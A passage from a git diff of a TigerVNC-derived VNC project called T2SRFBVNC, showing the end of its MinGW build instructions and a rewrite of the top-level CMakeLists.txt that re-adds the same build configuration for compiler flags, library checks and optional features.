cygwin1.dll or +other Cygwin DLL's. The mingw64-x86_64-gcc-core and mingw64-x86_64-gcc-g++ +packages (and their dependencies) must be installed. + + +MinGW-w64 build on Windows +-------------------------- + +This produces a build of T2SRFBVNC using the "native" MinGW-w64 toolchain +(which is faster than the Cygwin version): + + cd {build_directory} + CC={mingw-w64_binary_path}/x86_64-w64-mingw32-gcc \ + CXX={mingw-w64_binary_path}/x86_64-w64-mingw32-g++ \ + RC={mingw-w64_binary_path}/x86_64-w64-mingw32-windres \ + cmake -G "MSYS Makefiles" \ + -DCMAKE_AR={mingw-w64_binary_path}/x86_64-w64-mingw32-ar \ + -DCMAKE_RANLIB={mingw-w64_binary_path}/x86_64-w64-mingw32-ranlib \ + {source_directory} + make + + +MinGW build on Linux +-------------------- + + cd {build_directory} + CC={mingw_binary_path}/x86_64-w64-mingw32-gcc \ + CXX={mingw_binary_path}/x86_64-w64-mingw32-g++ \ + RC={mingw_binary_path}/x86_64-w64-mingw32-windres \ + cmake -G "Unix Makefiles" -DCMAKE_SYSTEM_NAME=Windows \ + -DCMAKE_AR={mingw_binary_path}/x86_64-w64-mingw32-ar \ + -DCMAKE_RANLIB={mingw_binary_path}/x86_64-w64-mingw32-ranlib \ + {source_directory} + make + + +=============================== +Distribution-specific packaging +=============================== + +Configuration for building packages for current versions of RHEL/CentOS +and Ubuntu LTS can be found under contrib/packages. diff --git a/T2SRFB/CMakeLists.txt b/T2SRFB/CMakeLists.txt index 30f45ef..6a66c4f 100644 --- a/T2SRFB/CMakeLists.txt +++ b/T2SRFB/CMakeLists.txt @@ -1,462 +1,462 @@ -# -# Setup -# - -cmake_minimum_required(VERSION 3.10.0) - -# Internal cmake modules -set(CMAKE_MODULE_PATH ${CMAKE_SOURCE_DIR}/cmake/Modules) - -include(CheckIncludeFiles) -include(CheckFunctionExists) -include(CheckLibraryExists) -include(CheckVariableExists) -include(CheckTypeSize) -include(CheckCSourceCompiles) -include(CheckCXXSourceCompiles) -include(CheckCSourceRuns) - -include(CMakeMacroLibtoolFile) - -project(tigervnc) -set(VERSION 1.15.80) - -# The RC version must always be four comma-separated numbers -string(REPLACE . , RCVERSION "${VERSION}.0") - -# Installation paths -include(GNUInstallDirs) -set(CMAKE_INSTALL_UNITDIR "lib/systemd/system" CACHE PATH "systemd unit files (lib/systemd/system)") -if(IS_ABSOLUTE "${CMAKE_INSTALL_UNITDIR}") - set(CMAKE_INSTALL_FULL_UNITDIR "${CMAKE_INSTALL_UNITDIR}") -else() - set(CMAKE_INSTALL_FULL_UNITDIR "${CMAKE_INSTALL_PREFIX}/${CMAKE_INSTALL_UNITDIR}") -endif() - -option(INSTALL_SYSTEMD_UNITS "Install T2SRFBVNC systemd units" ON) - -if(MSVC) - message(FATAL_ERROR "T2SRFBVNC cannot be built with Visual Studio. Please use MinGW") -endif() - -if(NOT BUILD_TIMESTAMP) - STRING(TIMESTAMP BUILD_TIMESTAMP "%Y-%m-%d %H:%M" UTC) -endif() - -# Default to optimised builds instead of debug ones. Our code has no bugs ;) -# (CMake makes it fairly easy to toggle this back to Debug if needed) -if(NOT CMAKE_BUILD_TYPE) - set(CMAKE_BUILD_TYPE Release) -endif() - -message(STATUS "CMAKE_BUILD_TYPE = ${CMAKE_BUILD_TYPE}") - -message(STATUS "VERSION = ${VERSION}") -message(STATUS "BUILD_TIMESTAMP = ${BUILD_TIMESTAMP}") -add_definitions(-DBUILD_TIMESTAMP="${BUILD_TIMESTAMP}") - -# We want to keep our asserts even in release builds so remove NDEBUG -set(CMAKE_C_FLAGS_RELEASE "${CMAKE_C_FLAGS_RELEASE} -UNDEBUG") -set(CMAKE_CXX_FLAGS_RELEASE "${CMAKE_CXX_FLAGS_RELEASE} -UNDEBUG") -set(CMAKE_C_FLAGS_RELWITHDEBINFO "${CMAKE_C_FLAGS_RELWITHDEBINFO} -UNDEBUG") -set(CMAKE_CXX_FLAGS_RELWITHDEBINFO "${CMAKE_CXX_FLAGS_RELWITHDEBINFO} -UNDEBUG") -set(CMAKE_C_FLAGS_MINSIZEREL "${CMAKE_C_FLAGS_MINSIZEREL} -UNDEBUG") -set(CMAKE_CXX_FLAGS_MINSIZEREL "${CMAKE_CXX_FLAGS_MINSIZEREL} -UNDEBUG") - -# But extra debug checks are still gated by this custom define -set(CMAKE_C_FLAGS_DEBUG "${CMAKE_C_FLAGS_DEBUG} -D_DEBUG") -set(CMAKE_CXX_FLAGS_DEBUG "${CMAKE_CXX_FLAGS_DEBUG} -D_DEBUG") - -# Enable debug friendly optimizations for debug builds -set(CMAKE_C_FLAGS_DEBUG "${CMAKE_C_FLAGS_DEBUG} -Og") -set(CMAKE_CXX_FLAGS_DEBUG "${CMAKE_CXX_FLAGS_DEBUG} -Og") - -# Make sure we get a sane C and C++ version -set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} -std=gnu99") -set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} -std=gnu++11") - -# Tell the compiler to be stringent -add_compile_definitions(_FORTIFY_SOURCE=2) -set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} -Wall -Wextra -Wformat=2 -Wvla") -set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} -Wall -Wextra -Wformat=2 -Wvla") -set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} -Wzero-as-null-pointer-constant") -set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} -Wsuggest-override") -set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} -Wshadow") -# Make sure we catch these issues whilst developing -set(CMAKE_C_FLAGS_DEBUG "${CMAKE_C_FLAGS_DEBUG} -Werror") -set(CMAKE_CXX_FLAGS_DEBUG "${CMAKE_CXX_FLAGS_DEBUG} -Werror") -# clang doesn't support format_arg, which breaks this warning -if (CMAKE_CXX_COMPILER_ID MATCHES "Clang") - set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} -Wno-format-nonliteral -Wno-format-security") - set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} -Wno-format-nonliteral -Wno-format-security") -endif() - -option(ENABLE_ASAN "Enable address sanitizer support" OFF) -if(ENABLE_ASAN AND NOT WIN32 AND NOT APPLE) - set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} -fsanitize=address") - set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} -fsanitize=address") -endif() - -option(ENABLE_TSAN "Enable thread sanitizer support" OFF) -if(ENABLE_TSAN AND NOT WIN32 AND NOT APPLE AND CMAKE_SIZEOF_VOID_P MATCHES 8) - set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} -fsanitize=thread") - set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} -fsanitize=thread") -endif() - -if(MSVC) - # undef min and max macro - target_compile_definitions(rfb PRIVATE NOMINMAX) -endif() - -if(NOT DEFINED BUILD_WINVNC) - set(BUILD_WINVNC 1) -endif() - -# libstdc++ doesn't implicitly include this, although it is very much -# required when using any of the C++ threading features (at least on -# systems where pthread is a separate library, e.g. glibc < 2.34) -if(UNIX) - link_libraries(pthread) -endif() - -# Minimum version is Windows 7 -if(WIN32) - add_definitions(-D_WIN32_WINNT=0x0601) -endif() - -# Legacy macros (macOS 10.12 and older) conflict with our code -if(APPLE) - add_definitions(-D__ASSERT_MACROS_DEFINE_VERSIONS_WITHOUT_UNDERSCORES=0) -endif() - -#### Check for required and optional libraries #### - -macro(trioption VAR DESC) - set(${VAR} AUTO CACHE STRING "${DESC}") - set_property(CACHE ${VAR} PROPERTY STRINGS AUTO ON OFF) -endmacro() - -# X11 stuff. It's in a if() so that we can say REQUIRED -if(UNIX AND NOT APPLE) - find_package(X11 REQUIRED) - if(X11_Xdamage_LIB) - add_definitions(-DHAVE_XDAMAGE) - endif() - if(X11_Xfixes_LIB) - add_definitions(-DHAVE_XFIXES) - endif() - if(X11_Xrandr_LIB) - add_definitions(-DHAVE_XRANDR) - endif() - if(X11_XTest_LIB) - add_definitions(-DHAVE_XTEST) - endif() -endif() - -# Check for zlib -find_package(ZLIB REQUIRED) - -# Check for pixman -find_package(Pixman REQUIRED) - -# Check for gettext -trioption(ENABLE_NLS "Enable translation of program messages") -if(ENABLE_NLS) - # Tools - if(ENABLE_NLS STREQUAL "AUTO") - find_package(Gettext) - else() - find_package(Gettext REQUIRED) - endif() - - # Runtime library - if(ENABLE_NLS STREQUAL "AUTO") - find_package(Intl) - else() - find_package(Intl REQUIRED) - endif() - - if(NOT GETTEXT_FOUND OR NOT INTL_FOUND) - message(WARNING "Gettext NOT found. Native Language Support disabled.") - set(ENABLE_NLS 0) - endif() -endif() - -trioption(ENABLE_H264 "Enable H.264 RFB encoding") -if(ENABLE_H264) - if(WIN32) - add_definitions("-DHAVE_H264") - set(H264_LIBS "WIN") # may be LIBAV in the future - set(H264_LIBRARIES ole32 mfplat mfuuid wmcodecdspuuid) - - set(CMAKE_REQUIRED_LIBRARIES ${H264_LIBRARIES}) - check_variable_exists(CLSID_VideoProcessorMFT HAVE_VIDEO_PROCESSOR_MFT) - set(CMAKE_REQUIRED_LIBRARIES) - if(HAVE_VIDEO_PROCESSOR_MFT) - add_definitions("-DHAVE_VIDEO_PROCESSOR_MFT") - endif() - else() - if(ENABLE_H264 STREQUAL "AUTO") - find_package(AVCodec) - find_package(AVUtil) - find_package(SWScale) - else() - find_package(AVCodec REQUIRED) - find_package(AVUtil REQUIRED) - find_package(SWScale REQUIRED) - endif() - if (AVCODEC_FOUND AND AVUTIL_FOUND AND SWSCALE_FOUND) - set(H264_INCLUDE_DIRS ${AVCODEC_INCLUDE_DIRS} ${AVUTIL_INCLUDE_DIRS} ${SWSCALE_INCLUDE_DIRS}) - set(H264_LIBRARIES ${AVCODEC_LIBRARIES} ${AVUTIL_LIBRARIES} ${SWSCALE_LIBRARIES}) - add_definitions("-D__STDC_CONSTANT_MACROS") - add_definitions("-DHAVE_H264") - set(H264_LIBS "LIBAV") - else() - set(H264_LIBS "NONE") - message(WARNING "FFMPEG support can't be found") - endif() - endif() - add_definitions("-DH264_${H264_LIBS}") -endif() - -# Check for libjpeg -find_package(JPEG REQUIRED) - -# Warn if it doesn't seem to be the accelerated libjpeg that's found -set(CMAKE_REQUIRED_LIBRARIES ${JPEG_LIBRARIES}) -set(CMAKE_REQUIRED_FLAGS -I${JPEG_INCLUDE_DIR}) - -set(JPEG_TEST_SOURCE "\n - #include \n - #include \n - int main(void) {\n - struct jpeg_compress_struct cinfo;\n - struct jpeg_error_mgr jerr;\n - cinfo.err=jpeg_std_error(&jerr);\n - jpeg_create_compress(&cinfo);\n - cinfo.input_components = 3;\n - jpeg_set_defaults(&cinfo);\n - cinfo.in_color_space = JCS_EXT_RGB;\n - jpeg_default_colorspace(&cinfo);\n - return 0;\n - }") - -if(CMAKE_CROSSCOMPILING) - check_c_source_compiles("${JPEG_TEST_SOURCE}" FOUND_LIBJPEG_TURBO) -else() - check_c_source_runs("${JPEG_TEST_SOURCE}" FOUND_LIBJPEG_TURBO) -endif() - -set(CMAKE_REQUIRED_LIBRARIES) -set(CMAKE_REQUIRED_FLAGS) -set(CMAKE_REQUIRED_DEFINITIONS) - -if(NOT FOUND_LIBJPEG_TURBO) - message(STATUS "Warning: You are not using libjpeg-turbo. Performance will suffer.") -endif() - -option(BUILD_JAVA "Build Java version of the T2SRFBVNC Viewer" FALSE) -if(BUILD_JAVA) - add_subdirectory(java) -endif() - -trioption(BUILD_VIEWER "Build T2SRFBVNC viewer") -if(BUILD_VIEWER) - # Check for FLTK - set(FLTK_SKIP_FLUID TRUE) - set(FLTK_SKIP_OPENGL TRUE) - set(FLTK_SKIP_FORMS TRUE) - if(BUILD_VIEWER STREQUAL "AUTO") - find_package(FLTK) - else() - find_package(FLTK REQUIRED) - endif() - - if(NOT FLTK_FOUND) - message(WARNING "FLTK NOT found. T2SRFBVNC viewer disabled.") - set(BUILD_VIEWER 0) - endif() - - if(UNIX AND NOT APPLE) - # No proper handling for extra X11 libs that FLTK might need... - if(X11_Xft_FOUND) - # Xft headers include references to fontconfig, so we need - # to link to that as well - find_library(FONTCONFIG_LIB fontconfig) - set(FLTK_LIBRARIES ${FLTK_LIBRARIES} ${X11_Xft_LIB} ${FONTCONFIG_LIB}) - endif() - if(X11_Xinerama_FOUND) - set(FLTK_LIBRARIES ${FLTK_LIBRARIES} ${X11_Xinerama_LIB}) - endif() - if(X11_Xfixes_FOUND) - set(FLTK_LIBRARIES ${FLTK_LIBRARIES} ${X11_Xfixes_LIB}) - endif() - if(X11_Xcursor_FOUND) - set(FLTK_LIBRARIES ${FLTK_LIBRARIES} ${X11_Xcursor_LIB}) - endif() - if(X11_Xrender_FOUND) - set(FLTK_LIBRARIES ${FLTK_LIBRARIES} ${X11_Xrender_LIB}) - endif() - endif() - - if(FLTK_FOUND) - set(CMAKE_REQUIRED_FLAGS "-Wno-error") - set(CMAKE_REQUIRED_INCLUDES ${FLTK_INCLUDE_DIR}) - set(CMAKE_REQUIRED_LIBRARIES ${FLTK_LIBRARIES}) - - check_cxx_source_compiles("#include \n#if FL_MAJOR_VERSION != 1 || FL_MINOR_VERSION != 3\n#error Wrong FLTK version\n#endif\nint main(int, char**) { return 0; }" OK_FLTK_VERSION) - if(NOT OK_FLTK_VERSION) - message(FATAL_ERROR "Incompatible version of FLTK") - endif() - - set(CMAKE_REQUIRED_FLAGS) - set(CMAKE_REQUIRED_INCLUDES) - set(CMAKE_REQUIRED_LIBRARIES) - endif() -endif() - -# Check for GNUTLS library -trioption(ENABLE_GNUTLS "Enable protocol encryption and advanced authentication") -if(ENABLE_GNUTLS) - if(ENABLE_GNUTLS STREQUAL "AUTO") - find_package(GnuTLS) - else() - find_package(GnuTLS REQUIRED) - endif() - if (GNUTLS_FOUND) - add_definitions("-DHAVE_GNUTLS") - endif() -endif() - -trioption(ENABLE_NETTLE "Enable RSA-AES security types") -if (ENABLE_NETTLE) - if(ENABLE_NETTLE STREQUAL "AUTO") - find_package(Nettle) - else() - find_package(Nettle REQUIRED) - endif() - if (NETTLE_FOUND) - add_definitions("-DHAVE_NETTLE") - endif() -endif() - -# Check for PAM library -if(UNIX AND NOT APPLE) - find_package(PAM REQUIRED) -endif() - -# Check for SELinux library -if(UNIX AND NOT APPLE) - trioption(ENABLE_SELINUX "Enable SELinux support") - if(ENABLE_SELINUX) - if(ENABLE_SELINUX STREQUAL "AUTO") - find_package(SELinux) - else() - find_package(SELinux REQUIRED) - endif() - if(SELINUX_FOUND) - add_definitions("-DHAVE_SELINUX") - endif() - endif() -endif() - -# check for systemd support (socket activation) -if(UNIX AND NOT APPLE) - trioption(ENABLE_SYSTEMD "Enable systemd support") - if(ENABLE_SYSTEMD) - if(ENABLE_SYSTEMD STREQUAL "AUTO") - find_package(Systemd) - else() - find_package(Systemd REQUIRED) - endif() - if (SYSTEMD_FOUND) - add_definitions(-DHAVE_LIBSYSTEMD) - endif() - endif() -endif() - -# check for password pwquality check support -if(UNIX AND NOT APPLE) - trioption(ENABLE_PWQUALITY "Enable password pwquality check") - if(ENABLE_PWQUALITY) - if(ENABLE_PWQUALITY STREQUAL "AUTO") - find_package(PWQuality) - else() - find_package(PWQuality REQUIRED) - endif() - if(PWQUALITY_FOUND) - add_definitions(-DHAVE_PWQUALITY) - endif() - endif() -endif() - -# check for libraries needed for wayland support -if(UNIX AND NOT APPLE) - trioption(ENABLE_WAYLAND "Enable wayland support") - if(ENABLE_WAYLAND STREQUAL "AUTO") - find_package(GLib) - find_package(Gio) - find_package(Gobject) - - # Portals specific - find_package(PipeWire) - find_package(Uuid) - else() - find_package(GLib REQUIRED) - find_package(Gio REQUIRED) - find_package(Gobject REQUIRED) - - # Portals specific - find_package(PipeWire REQUIRED) - find_package(Uuid REQUIRED) - endif() - if(NOT GLIB_FOUND OR NOT GIO_FOUND OR NOT GOBJECT_FOUND OR NOT PIPEWIRE_FOUND - OR NOT UUID_FOUND) - set(ENABLE_WAYLAND 0) - message(WARNING "GLib, Gio, Gobject, PipeWire or Uuid NOT found. w0vncserver disabled.") - endif() -endif() - -find_package(GTest) - -# Generate config.h and make sure the source finds it -configure_file(config.h.in config.h) -add_definitions(-DHAVE_CONFIG_H) -include_directories(${CMAKE_BINARY_DIR}) - -include(cmake/StaticBuild.cmake) - -add_subdirectory(common) - -if(WIN32) - add_subdirectory(win) -else() - # No interest in building x related parts on Apple - if(NOT APPLE) - add_subdirectory(unix) - endif() -endif() - -if(ENABLE_NLS) - add_subdirectory(po) -endif() - -if(BUILD_VIEWER) - add_subdirectory(vncviewer) - add_subdirectory(media) -endif() - -add_subdirectory(tests) - - -if(BUILD_VIEWER) - add_subdirectory(release) -endif() - -# uninstall -configure_file("${CMAKE_SOURCE_DIR}/cmake/cmake_uninstall.cmake.in" - "cmake_uninstall.cmake" IMMEDIATE @ONLY) - -add_custom_target(uninstall COMMAND ${CMAKE_COMMAND} -P cmake_uninstall.cmake) - -libtool_generate_control_files() +# +# Setup +# + +cmake_minimum_required(VERSION 3.10.0) + +# Internal cmake modules +set(CMAKE_MODULE_PATH ${CMAKE_SOURCE_DIR}/cmake/Modules) + +include(CheckIncludeFiles) +include(CheckFunctionExists) +include(CheckLibraryExists) +include(CheckVariableExists) +include(CheckTypeSize) +include(CheckCSourceCompiles) +include(CheckCXXSourceCompiles) +include(CheckCSourceRuns) + +include(CMakeMacroLibtoolFile) + +project(tigervnc) +set(VERSION 1.15.80) + +# The RC version must always be four comma-separated numbers +string(REPLACE . , RCVERSION "${VERSION}.0") + +# Installation paths +include(GNUInstallDirs) +set(CMAKE_INSTALL_UNITDIR "lib/systemd/system" CACHE PATH "systemd unit files (lib/systemd/system)") +if(IS_ABSOLUTE "${CMAKE_INSTALL_UNITDIR}") + set(CMAKE_INSTALL_FULL_UNITDIR "${CMAKE_INSTALL_UNITDIR}") +else() + set(CMAKE_INSTALL_FULL_UNITDIR "${CMAKE_INSTALL_PREFIX}/${CMAKE_INSTALL_UNITDIR}") +endif() + +option(INSTALL_SYSTEMD_UNITS "Install T2SRFBVNC systemd units" ON) + +if(MSVC) + message(FATAL_ERROR "T2SRFBVNC cannot be built with Visual Studio. Please use MinGW") +endif() + +if(NOT BUILD_TIMESTAMP) + STRING(TIMESTAMP BUILD_TIMESTAMP "%Y-%m-%d %H:%M" UTC) +endif() + +# Default to optimised builds instead of debug ones. Our code has no bugs ;) +# (CMake makes it fairly easy to toggle this back to Debug if needed) +if(NOT CMAKE_BUILD_TYPE) + set(CMAKE_BUILD_TYPE Release) +endif() + +message(STATUS "CMAKE_BUILD_TYPE = ${CMAKE_BUILD_TYPE}") + +message(STATUS "VERSION = ${VERSION}") +message(STATUS "BUILD_TIMESTAMP = ${BUILD_TIMESTAMP}") +add_definitions(-DBUILD_TIMESTAMP="${BUILD_TIMESTAMP}") + +# We want to keep our asserts even in release builds so remove NDEBUG +set(CMAKE_C_FLAGS_RELEASE "${CMAKE_C_FLAGS_RELEASE} -UNDEBUG") +set(CMAKE_CXX_FLAGS_RELEASE "${CMAKE_CXX_FLAGS_RELEASE} -UNDEBUG") +set(CMAKE_C_FLAGS_RELWITHDEBINFO "${CMAKE_C_FLAGS_RELWITHDEBINFO} -UNDEBUG") +set(CMAKE_CXX_FLAGS_RELWITHDEBINFO "${CMAKE_CXX_FLAGS_RELWITHDEBINFO} -UNDEBUG") +set(CMAKE_C_FLAGS_MINSIZEREL "${CMAKE_C_FLAGS_MINSIZEREL} -UNDEBUG") +set(CMAKE_CXX_FLAGS_MINSIZEREL "${CMAKE_CXX_FLAGS_MINSIZEREL} -UNDEBUG") + +# But extra debug checks are still gated by this custom define +set(CMAKE_C_FLAGS_DEBUG "${CMAKE_C_FLAGS_DEBUG} -D_DEBUG") +set(CMAKE_CXX_FLAGS_DEBUG "${CMAKE_CXX_FLAGS_DEBUG} -D_DEBUG") + +# Enable debug friendly optimizations for debug builds +set(CMAKE_C_FLAGS_DEBUG "${CMAKE_C_FLAGS_DEBUG} -Og") +set(CMAKE_CXX_FLAGS_DEBUG "${CMAKE_CXX_FLAGS_DEBUG} -Og") + +# Make sure we get a sane C and C++ version +set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} -std=gnu99") +set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} -std=gnu++11") + +# Tell the compiler to be stringent +add_compile_definitions(_FORTIFY_SOURCE=2) +set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} -Wall -Wextra -Wformat=2 -Wvla") +set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} -Wall -Wextra -Wformat=2 -Wvla") +set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} -Wzero-as-null-pointer-constant") +set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} -Wsuggest-override") +set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} -Wshadow") +# Make sure we catch these issues whilst developing +set(CMAKE_C_FLAGS_DEBUG "${CMAKE_C_FLAGS_DEBUG} -Werror") +set(CMAKE_CXX_FLAGS_DEBUG "${CMAKE_CXX_FLAGS_DEBUG} -Werror") +# clang doesn't support format_arg, which breaks this warning +if (CMAKE_CXX_COMPILER_ID MATCHES "Clang") + set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} -Wno-format-nonliteral -Wno-format-security") + set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} -Wno-format-nonliteral -Wno-format-security") +endif() + +option(ENABLE_ASAN "Enable address sanitizer support" OFF) +if(ENABLE_ASAN AND NOT WIN32 AND NOT APPLE) + set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} -fsanitize=address") + set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} -fsanitize=address") +endif() + +option(ENABLE_TSAN "Enable thread sanitizer support" OFF) +if(ENABLE_TSAN AND NOT WIN32 AND NOT APPLE AND CMAKE_SIZEOF_VOID_P MATCHES 8) + set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} -fsanitize=thread") + set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} -fsanitize=thread") +endif() + +if(MSVC) + # undef min and max macro + target_compile_definitions(rfb PRIVATE NOMINMAX) +endif() + +if(NOT DEFINED BUILD_WINVNC) + set(BUILD_WINVNC 1) +endif() + +# libstdc++ doesn't implicitly include this, although it is very much +# required when using any of the C++ threading features (at least on +# systems where pthread is a separate library, e.g. glibc < 2.34) +if(UNIX) + link_libraries(pthread) +endif() + +# Minimum version is Windows 7 +if(WIN32) + add_definitions(-D_WIN32_WINNT=0x0601) +endif() + +# Legacy macros (macOS 10.12 and older) conflict with our code +if(APPLE) + add_definitions(-D__ASSERT_MACROS_DEFINE_VERSIONS_WITHOUT_UNDERSCORES=0) +endif() + +#### Check for required and optional libraries #### + +macro(trioption VAR DESC) + set(${VAR} AUTO CACHE STRING "${DESC}") + set_property(CACHE ${VAR} PROPERTY STRINGS AUTO ON OFF) +endmacro() + +# X11 stuff. It's in a if() so that we can say REQUIRED +if(UNIX AND NOT APPLE) + find_package(X11 REQUIRED) + if(X11_Xdamage_LIB) + add_definitions(-DHAVE_XDAMAGE) + endif() + if(X11_Xfixes_LIB) + add_definitions(-DHAVE_XFIXES) + endif() + if(X11_Xrandr_LIB) + add_definitions(-DHAVE_XRANDR) + endif() + if(X11_XTest_LIB) + add_definitions(-DHAVE_XTEST) + endif() +endif() + +# Check for zlib +find_package(ZLIB REQUIRED) + +# Check for pixman +find_package(Pixman REQUIRED) + +# Check for gettext +trioption(ENABLE_NLS "Enable translation of program messages") +if(ENABLE_NLS) + # Tools + if(ENABLE_NLS STREQUAL "AUTO") + find_package(Gettext) + else() + find_package(Gettext REQUIRED) + endif() + + # Runtime library + if(ENABLE_NLS STREQUAL "AUTO") + find_package(Intl) + else() + find_package(Intl REQUIRED) + endif() + + if(NOT GETTEXT_FOUND OR NOT INTL_FOUND) + message(WARNING "Gettext NOT found. Native Language Support disabled.") + set(ENABLE_NLS 0) + endif() +endif() + +trioption(ENABLE_H264 "Enable H.264 RFB encoding") +if(ENABLE_H264) + if(WIN32) + add_definitions("-DHAVE_H264") + set(H264_LIBS "WIN") # may be LIBAV in the future + set(H264_LIBRARIES ole32 mfplat mfuuid wmcodecdspuuid) + + set(CMAKE_REQUIRED_LIBRARIES ${H264_LIBRARIES}) + check_variable_exists(CLSID_VideoProcessorMFT HAVE_VIDEO_PROCESSOR_MFT) + set(CMAKE_REQUIRED_LIBRARIES) + if(HAVE_VIDEO_PROCESSOR_MFT) + add_definitions("-DHAVE_VIDEO_PROCESSOR_MFT") + endif() + else() + if(ENABLE_H264 STREQUAL "AUTO") + find_package(AVCodec) + find_package(AVUtil) + find_package(SWScale) + else() + find_package(AVCodec REQUIRED) + find_package(AVUtil REQUIRED) + find_package(SWScale REQUIRED) + endif() + if (AVCODEC_FOUND AND AVUTIL_FOUND AND SWSCALE_FOUND) + set(H264_INCLUDE_DIRS ${AVCODEC_INCLUDE_DIRS} ${AVUTIL_INCLUDE_DIRS} ${SWSCALE_INCLUDE_DIRS}) + set(H264_LIBRARIES ${AVCODEC_LIBRARIES} ${AVUTIL_LIBRARIES} ${SWSCALE_LIBRARIES}) + add_definitions("-D__STDC_CONSTANT_MACROS") + add_definitions("-DHAVE_H264") + set(H264_LIBS "LIBAV") + else() + set(H264_LIBS "NONE") + message(WARNING "FFMPEG support can't be found") + endif() + endif() + add_definitions("-DH264_${H264_LIBS}") +endif() + +# Check for libjpeg +find_package(JPEG REQUIRED) + +# Warn if it doesn't seem to be the accelerated libjpeg that's found +set(CMAKE_REQUIRED_LIBRARIES ${JPEG_LIBRARIES}) +set(CMAKE_REQUIRED_FLAGS -I${JPEG_INCLUDE_DIR}) + +set(JPEG_TEST_SOURCE "\n + #include \n + #include \n + int main(void) {\n + struct jpeg_compress_struct cinfo;\n + struct jpeg_error_mgr jerr;\n + cinfo.err=jpeg_std_error(&jerr);\n + jpeg_create_compress(&cinfo);\n + cinfo.input_components = 3;\n + jpeg_set_defaults(&cinfo);\n + cinfo.in_color_space = JCS_EXT_RGB;\n + jpeg_default_colorspace(&cinfo);\n + return 0;\n + }") + +if(CMAKE_CROSSCOMPILING) + check_c_source_compiles("${JPEG_TEST_SOURCE}" FOUND_LIBJPEG_TURBO) +else() + check_c_source_runs("${JPEG_TEST_SOURCE}" FOUND_LIBJPEG_TURBO) +endif() + +set(CMAKE_REQUIRED_LIBRARIES) +set(CMAKE_REQUIRED_FLAGS) +set(CMAKE_REQUIRED_DEFINITIONS) + +if(NOT FOUND_LIBJPEG_TURBO) + message(STATUS "Warning: You are not using libjpeg-turbo. Performance will suffer.") +endif() + +option(BUILD_JAVA "Build Java version of the T2SRFBVNC Viewer" FALSE) +if(BUILD_JAVA) + add_subdirectory(java) +endif() + +trioption(BUILD_VIEWER "Build T2SRFBVNC viewer") +if(BUILD_VIEWER) + # Check for FLTK + set(FLTK_SKIP_FLUID TRUE) + set(FLTK_SKIP_OPENGL TRUE) + set(FLTK_SKIP_FORMS TRUE) + if(BUILD_VIEWER STREQUAL "AUTO") + find_package(FLTK) + else() + find_package(FLTK REQUIRED) + endif() + + if(NOT FLTK_FOUND) + message(WARNING "FLTK NOT found. T2SRFBVNC viewer disabled.") + set(BUILD_VIEWER 0) + endif() + + if(UNIX AND NOT APPLE) + # No proper handling for extra X11 libs that FLTK might need... + if(X11_Xft_FOUND) + # Xft headers include references to fontconfig, so we need + # to link to that as well + find_library(FONTCONFIG_LIB fontconfig) + set(FLTK_LIBRARIES ${FLTK_LIBRARIES} ${X11_Xft_LIB} ${FONTCONFIG_LIB}) + endif() + if(X11_Xinerama_FOUND) + set(FLTK_LIBRARIES ${FLTK_LIBRARIES} ${X11_Xinerama_LIB}) + endif() + if(X11_Xfixes_FOUND) + set(FLTK_LIBRARIES ${FLTK_LIBRARIES} ${X11_Xfixes_LIB}) + endif() + if(X11_Xcursor_FOUND) + set(FLTK_LIBRARIES ${FLTK_LIBRARIES} ${X11_Xcursor_LIB}) + endif() + if(X11_Xrender_FOUND) + set(FLTK_LIBRARIES ${FLTK_LIBRARIES} ${X11_Xrender_LIB}) + endif() + endif() + + if(FLTK_FOUND) + set(CMAKE_REQUIRED_FLAGS "-Wno-error") + set(CMAKE_REQUIRED_INCLUDES ${FLTK_INCLUDE_DIR}) + set(CMAKE_REQUIRED_LIBRARIES ${FLTK_LIBRARIES}) + + check_cxx_source_compiles("#include \n#if FL_MAJOR_VERSION != 1 || FL_MINOR_VERSION != 3\n#error Wrong FLTK version\n#endif\nint main(int, char**) { return 0; }" OK_FLTK_VERSION) + if(NOT OK_FLTK_VERSION) + message(FATAL_ERROR "Incompatible version of FLTK") + endif() + + set(CMAKE_REQUIRED_FLAGS) + set(CMAKE_REQUIRED_INCLUDES) + set(CMAKE_REQUIRED_LIBRARIES) + endif() +endif() + +# Check for GNUTLS library +trioption(ENABLE_GNUTLS "Enable protocol encryption and advanced authentication") +if(ENABLE_GNUTLS) + if(ENABLE_GNUTLS STREQUAL "AUTO") + find_package(GnuTLS) + else() + find_package(GnuTLS REQUIRED) + endif() + if (GNUTLS_FOUND) + add_definitions("-DHAVE_GNUTLS") + endif() +endif() + +trioption(ENABLE_NETTLE "Enable RSA-AES security types") +if (ENABLE_NETTLE) + if(ENABLE_NETTLE STREQUAL "AUTO") + find_package(Nettle) + else() + find_package(Nettle REQUIRED) + endif() + if (NETTLE_FOUND) + add_definitions("-DHAVE_NETTLE") + endif() +endif() + +# Check for PAM library +if(UNIX AND NOT APPLE) + find_package(PAM REQUIRED) +endif() + +# Check for SELinux library +if(UNIX AND NOT APPLE) + trioption(ENABLE_SELINUX "Enable SELinux support") + 